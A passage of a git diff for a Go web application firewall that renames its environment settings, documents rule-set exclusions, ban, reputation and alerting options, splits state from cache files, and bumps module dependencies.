the Core Rule Set does - not inspect. -- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body - the Core Rule Set reads, a size of at most `64K`. A question carries no more - of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one - byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)). -- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client - in a minute (see "Attack detection" in `SPEC.md`). A count or `off`. +- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core + Rule Set does not inspect. +- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how + much of a request body the Core Rule Set reads, a size of at most `8K`. A + larger size would let one request keep it busy past `rproxy`'s timeout (see + "Answering in time" in [`SPEC.md`](../SPEC.md)). +- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule + Set exclusions, written as Coraza directives. It is loaded before the Core + Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that + exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that + cannot be read or does not parse stops the start, whatever + `SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from + 900000 to 900999 outside a comment, alone or in a range. So does a directive + that removes or changes rules as the file loads, such as `SecRuleRemoveById`, + since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form. +- `SWW_WAF_APPS` (default unset): the apps each hostname serves. A request gets + the fixes of its hostname's apps only (see "Attack detection" in + [`SPEC.md`](../SPEC.md)). + - Entries are separated by semicolons. Each is a hostname, a colon, then one + or more apps separated by commas, for example + `git.example.com:gitea;blog.example.com:wordpress`. + - The supported apps are: + - `drupal`; + - `forgejo`, which gets gitea's fixes too; + - `ghost`; + - `gitea`; + - `mastodon`; + - `mediawiki`; + - `nextcloud`; + - `vaultwarden`; + - `wordpress`. + - The request's `Host` is matched by exact name, without its port and + without regard to case. There are no wildcards. + - A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists + no hostname. + - Unset, every app's fixes apply to every hostname. + - Any of these mistakes stops the start: + - an unknown app; + - a hostname that is not a DNS name, such as `*.example.com`; + - a hostname listed twice; + - an app listed twice for one hostname; + - an entry without a colon. +- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client + may get in a minute from a rule file, a trap path or the Core Rule Set, a + count or `off`. The next one bans the client (see "Attack detection" in + `SPEC.md`). ## Ban lengths, response and scope -- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. -- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A - duration. -- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends +- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. +- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. + A duration. +- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends within which breaking a limit again lengthens the next ban. A duration. -- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; - one that would be longer is permanent. A duration. -- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of - attack. A duration. -- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client +- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit + that would be longer than this is permanent instead. A duration. +- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign + of attack. A duration. +- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client covers: the prefix length of its netblock, from 0 to 32. ## Reputation -- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as +- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL without a user or a fragment. A URL listed twice is refused. -- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its +- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last try before it is fetched again. A duration of `1h` or more. -- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:` or `log`. -- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as +- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:` or + `log`. +- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus zone carries its key, as in `.xbl.dq.spamhaus.net`. A zone listed twice is refused, whatever its case or key. -- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through, - such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional - port, 53 when none is given. Unset, the host's resolver is used. -- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A +- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones + through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an + optional port, 53 when none is given. Unset, the host's resolver is used. +- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A control character in it is refused. -- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score, - from 0 to 100, that is a hit. -- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, - a whole number above zero. AbuseIPDB's free accounts may make 1,000. -- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine - you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a - user or a fragment; its decision list is at `v1/decisions` under it. Set - without the key, it is refused. So is a decision list URL that is also in - `SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`. -- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for - `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the - URL, it is refused. -- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:` or - `log`, for DNS blocklist and AbuseIPDB hits. -- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or - AbuseIPDB's score is used. A duration. -- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a - check with AbuseIPDB may take. A duration. +- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence + score, from 0 to 100, that is a hit. +- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a + day, a whole number above zero. AbuseIPDB's free accounts may make 1,000. +- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`, + `limit:` or `log`, for DNS blocklist and AbuseIPDB hits. +- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict + or AbuseIPDB's score is used. A duration. +- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a + zone or a check with AbuseIPDB may take. A time in milliseconds. ## Alerting -- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each +- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert as a JSON object. An `http` or `https` URL without a user or a fragment. -- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, +- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A value cannot hold a comma. -- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook +- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that receives each alert as a message, checked as the webhook URL is. -- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each +- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the webhook URL is. -- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control +- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control character in it is refused. -- `SWWAF_ALERT_EVENTS` (default - `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): +- `SWW_WAF_ALERT_EVENTS` (default + `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`): the event types alerts are sent for, from those in [`alerts.md`](alerts.md) but `summary`. Any other name is refused. -- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its +- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its repeats are held back. A duration or `off`. -- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A - whole number above zero, or `off`. +- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. + A whole number above zero, or `off`. ## Anomaly thresholds -Each scope has four thresholds: the most requests and the most bytes counted in -a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by -default. The four thresholds per client are: +Each scope has four thresholds: the most requests and the most body bytes +counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED` +names. Requests are counts, bytes are sizes. Each is `off` by default. The four +thresholds per client are: -- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; -- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; -- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`; -- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`. +- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; +- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; +- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`; +- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`. The other scopes' names have another prefix before the same four endings, such as `REQUESTS_PER_MINUTE`: -- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the +- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the netblock's length: - - `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 + - `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 client; - - `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 + - `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 client. -- `SWWAF_ANOMALY_ASN_...`: per AS number. -- `SWWAF_ANOMALY_TOTAL_...`: the whole service. -- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole. - `SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such - as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a +- `SWW_WAF_ANOMALY_ASN_...`: per AS number. +- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service. +- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in + `SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS` + (default empty) is a list of name, `=` and netblock, such as + `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a name, or with a bad netblock, is refused. So is a name used twice. ## Settings given as files @@ -311,9 +407,9 @@ Then mount its directory into the container read-only, and name the file: ```sh docker run \ - -v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \ - -e SMALLWEBWAF_COMMAND=servewaf \ - -e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \ + -v /srv/app/tokens:/etc/sww/tokens:ro \ + -e SWW_COMMAND=waf \ + -e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \ ... ``` @@ -326,80 +422,85 @@ A few limits are fixed rather than settings: - at most 1,000 DNS blocklist queries are under way at once; - at most 20,000 anomaly counters are kept; - each alert destination's queue holds at most 1,000 alerts; -- `servewaf` holds at most 10,000 answered requests awaiting their reports; -- `servewaf` refuses a request with more than 50 cookies or more than 100 header - fields (see "Answering in time" under "`servewaf`" in - [`SPEC.md`](../SPEC.md)); +- `waf` holds at most 10,000 answered requests awaiting their reports; +- `waf` refuses a request with a request line or header line over 8 KiB, more + than 50 cookies or more than 100 header fields (see "Answering in time" under + "`waf`" in [`SPEC.md`](../SPEC.md)); - `rproxy` takes a request line and headers of at most 32 KiB, and closes a kept-open connection idle for 120 seconds; -- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers - `502` to a longer one. +- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502` + to a longer one. -## `servewaf`'s answer and `rproxy`'s wait +## `waf`'s answer and `rproxy`'s wait -`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. -Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question -waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are -asked in the background (see "Answering in time" under "`servewaf`" in +`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on +an outside source. Keep it well under `rproxy`'s +`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. The trap paths, the rule +files and the Core Rule Set run during that wait and have 500 ms, so `waf` +answers within the longer of the two times. No question waits for +`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are +asked in the background (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md)). ## `rproxy` -`smallwebwaf rproxy` reads the settings below and no others. They are read once -at start, and an invalid value stops the start. None can be given as a file, -since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says -what they do. +`sww rproxy` reads the settings below and no others. They are read once at +start, and an invalid value stops the start. Any can be given as a file, as a +`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do. -A time here is a whole number of milliseconds above zero, such as `2000`. - -- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or +- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https` URL with a host and an optional port, and nothing more. `rproxy` speaks HTTP/1.1 to it. -- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s - answer, to a question and to a report. A time; never `off`. -- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when - `servewaf` cannot be connected to, does not answer at all, or does not answer - within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers - `503`. It does not apply to an answer `servewaf` gives, such as an error. -- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or +- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits + for `waf`'s answer, to a question and to a report. A time in milliseconds; + never `off`. +- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done + with a request when `waf` gives no answer in time, and while the circuit + breaker for asks to `waf` is open. `allow` passes it to the app, and `deny` + answers `503`. It does not apply to an answer `waf` gives, such as an error. +- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A + size or `off`. +- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A + size or `off`. +- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may + take to send its request line and headers. It then also bounds, from the end + of the headers, the time until the app has been sent the whole request. A time + in milliseconds or `off`. +- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may + take, from the end of the request to its last byte reaching the visitor. An + answer `rproxy` gives itself always has at least 10 seconds to be sent, and so + do the status and headers of the app's answer. A time in milliseconds or `off`. -- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or - `off`. -- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to - send its request line and headers. It then also bounds, from the end of the - headers, the time until the app has been sent the whole request. A time or - `off`. -- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take, - from the end of the request to its last byte reaching the visitor. A time or - `off`. -- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`. -- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or - `https` URL with a host and an optional port, and nothing more. -- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): - the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts - nothing. A client outside these netblocks cannot claim another address. Where - other containers reach `rproxy` directly, or visitors on a private network - reach traefik, they can name another address in the header. Narrowing the - setting to traefik's own network closes that gap. +- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as + `:9000`. +- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An + `http` or `https` URL with a host and an optional port, and nothing more. +- `SWW_RPROXY_TRUSTED_PROXIES` (default + `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose + `X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client + outside these netblocks cannot claim another address. Where other containers + reach `rproxy` directly, or visitors on a private network reach the + TLS-terminating proxy, they can name another address in the header. Narrowing + the setting to the TLS-terminating proxy's own network closes that gap. ## The image's command -`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what -its health check checks: `rproxy` or `servewaf` (see "Deployment" in -[`SPEC.md`](../SPEC.md)). It cannot be given as a file. +`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health +check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)). +It cannot be given as a file. ## Where earlier settings went Nothing reads these names any more: -- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`. -- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`. -- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`. -- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`. -- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are - `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds. -- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are - `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds. -- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have - no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and +- `SWW_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`. +- `SWW_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`. +- `SWW_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`. +- `SWW_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`. +- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are + `SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds. +- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are + `SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds. +- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no + setting. `rproxy` closes a kept-open connection idle for 120 seconds, and takes a request line and headers of at most 32 KiB. diff --git a/docs/state-files.md b/docs/state-files.md index 509dc92..af6643d 100644 --- a/docs/state-files.md +++ b/docs/state-files.md @@ -1,16 +1,31 @@ -# State files +# State and cache files -The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent -state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. -Each has a top-level `version` of 1. +The JSON files `waf` keeps, and what each holds. "Persistent state" in +[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a +top-level `version` of 1. + +- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They + hold what cannot be fetched again, so back them up: + - `bans.json`; + - `clients.json`; + - `abuseipdb-checks-spent.json`; + - `alerts.json`. +- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They + hold answers from outside services, which are asked again when a file is lost, + so the directory can be left out of backups: + - `lookups.json`; + - `lists.json`; + - `dnsbl.json`; + - `abuseipdb-scores.json`; + - `routewatch.json`. ## `bans.json` -Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of -those `servewaf` made. Per entry: +Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of +those `waf` made. Per entry: - `netblock`, `start` and `expires` (`null` for a permanent ban); -- `cause`: `attack`, `limit`, `admin` or `crowdsec`; +- `cause`: `attack`, `limit` or `admin`; - `reason`: a short reason; - `lifted`: when an admin lifted it, if one did; - `notes`: the notes below. @@ -61,26 +76,19 @@ since it was first seen: - the first and last time seen; - the AS number, AS name and country last looked up, and when; - total requests, and how many were forwarded and how many refused; -- bytes in each direction; +- body bytes of its requests, and of the responses it was sent; - responses by status class; -- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file - may also hold `token_refused`, which is kept, and which nothing adds to. +- offences by kind: `limit`, `attack`, `blocked_by_block_rule` and + `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is + kept, and which nothing adds to. -## `lookups.json` +## `abuseipdb-checks-spent.json` -GeoJS answers, one per line: +The AbuseIPDB checks spent today, so that a restart does not spend the daily +budget again: -- `client`; -- `asn`, `as_name` and `country`; -- `answered`: when GeoJS answered; -- `used`: when the answer was last used. - -## `reputation.json` - -- the last good copy of each list fetched from a URL, with when it was last - tried; -- each DNS blocklist verdict still in use; -- AbuseIPDB's scores, and the checks spent today. +- `day`: the day, in UTC; +- `spent`: the checks spent on it. ## `alerts.json` @@ -90,15 +98,63 @@ GeoJS answers, one per line: - the alerts sent and held back in the current hour; - the alerts waiting for each destination. +## `lookups.json` + +A cache file. GeoJS answers, one per line: + +- `client`; +- `asn`, `as_name` and `country`; +- `answered`: when GeoJS answered; +- `used`: when the answer was last used. + +## `lists.json` + +A cache file. The last good copy of each list fetched from a URL, with when it +was last tried: + +- `url`; +- `tried`: when it was last fetched or tried; +- `fetched` and `lines`: when the last good copy was fetched, and its lines, + comment lines included. + +## `dnsbl.json` + +A cache file. Each DNS blocklist verdict still in use, one per line: + +- `zone` and `client`; +- `listed`: whether the zone lists the client; +- `fetched`: when the zone answered. + +## `abuseipdb-scores.json` + +A cache file. AbuseIPDB's scores still in use, one per line: + +- `client`; +- `score`: from 0 to 100; +- `fetched`: when AbuseIPDB answered. + +## `routewatch.json` + +A cache file. routewatch's answers from the last hour, one per line: + +- `client`; +- `netblock`: the netblock the client's address is announced in, empty for an + address without a live route; +- `asn`: the number of the AS that originates the netblock, 0 for none; +- `answered`: when routewatch answered. + ## Sizes - `clients.json`: about 1 KiB per client, about 20 MiB at the default - `SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of - disk writes a day. + `SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB + of disk writes a day. - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at - the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to + the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB more. - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when full. -- `reputation.json` and `alerts.json`: usually a few MiB or less. +- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB. +- `abuseipdb-checks-spent.json`: a few bytes. +- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually + a few MiB or less. diff --git a/go.mod b/go.mod index 5470c26..5f24224 100644 --- a/go.mod +++ b/go.mod @@ -3,19 +3,23 @@ module sneak.berlin/go/smallwebwaf go 1.26.0 require ( + cloud.google.com/go v0.123.0 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 - github.com/corazawaf/coraza/v3 v3.8.1 + github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68 github.com/fsnotify/fsnotify v1.10.1 github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/maxmind/mmdbwriter v1.2.0 github.com/oschwald/maxminddb-golang/v2 v2.7.0 github.com/prometheus/client_golang v1.24.1 + github.com/spf13/viper v1.21.0 + golang.org/x/sys v0.48.0 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect - github.com/corazawaf/libinjection-go v0.3.3 // indirect + github.com/corazawaf/libinjection-go v0.3.4 // indirect + github.com/go-viper/mapstructure/v2 v2.4.0 // indirect github.com/goccy/go-json v0.10.5 // indirect github.com/goccy/go-yaml v1.19.2 // indirect github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect @@ -25,19 +29,26 @@ require ( github.com/kylelemons/godebug v1.1.0 // indirect github.com/magefile/mage v1.17.0 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/pelletier/go-toml/v2 v2.2.4 // indirect github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect + github.com/sagikazarmark/locafero v0.11.0 // indirect + github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect + github.com/spf13/afero v1.15.0 // indirect + github.com/spf13/cast v1.10.0 // indirect + github.com/spf13/pflag v1.0.10 // indirect + github.com/subosito/gotenv v1.6.0 // indirect github.com/tidwall/gjson v1.18.0 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect + go.yaml.in/yaml/v3 v3.0.5 // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect - golang.org/x/net v0.58.0 // indirect + golang.org/x/net v0.60.0 // indirect golang.org/x/sync v0.23.0 // indirect - golang.org/x/sys v0.48.0 // indirect - golang.org/x/text v0.41.0 // indirect + golang.org/x/text v0.42.0 // indirect google.golang.org/protobuf v1.36.11 // indirect rsc.io/binaryregexp v0.2.0 // indirect ) diff --git a/go.sum b/go.sum index 58f2e8b..0f8ac76 100644 --- a/go.sum +++ b/go.sum @@ -1,19 +1,27 @@ +cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE= +cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc= -github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU= +github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0 h1:ZX0xWXpQgRXV/4sdfw21mOZBmmzQSb1+JiR51YOLv8I= +github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0/go.mod h1:yf3Gc7mGKBR1wchr4EXZHG10En6WQ4W4MJCg3ix91wQ= +github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0 h1:XMYT7VOFM2VrpIKMUn4vFWyoFNYg1ZaYiexs76AmxzQ= +github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0/go.mod h1:1yaQUjecpEJ/cWXhJaFto+vRuezJCCfVxGQlaQxAGt0= github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM= github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY= -github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o= -github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c= -github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc= -github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= +github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68 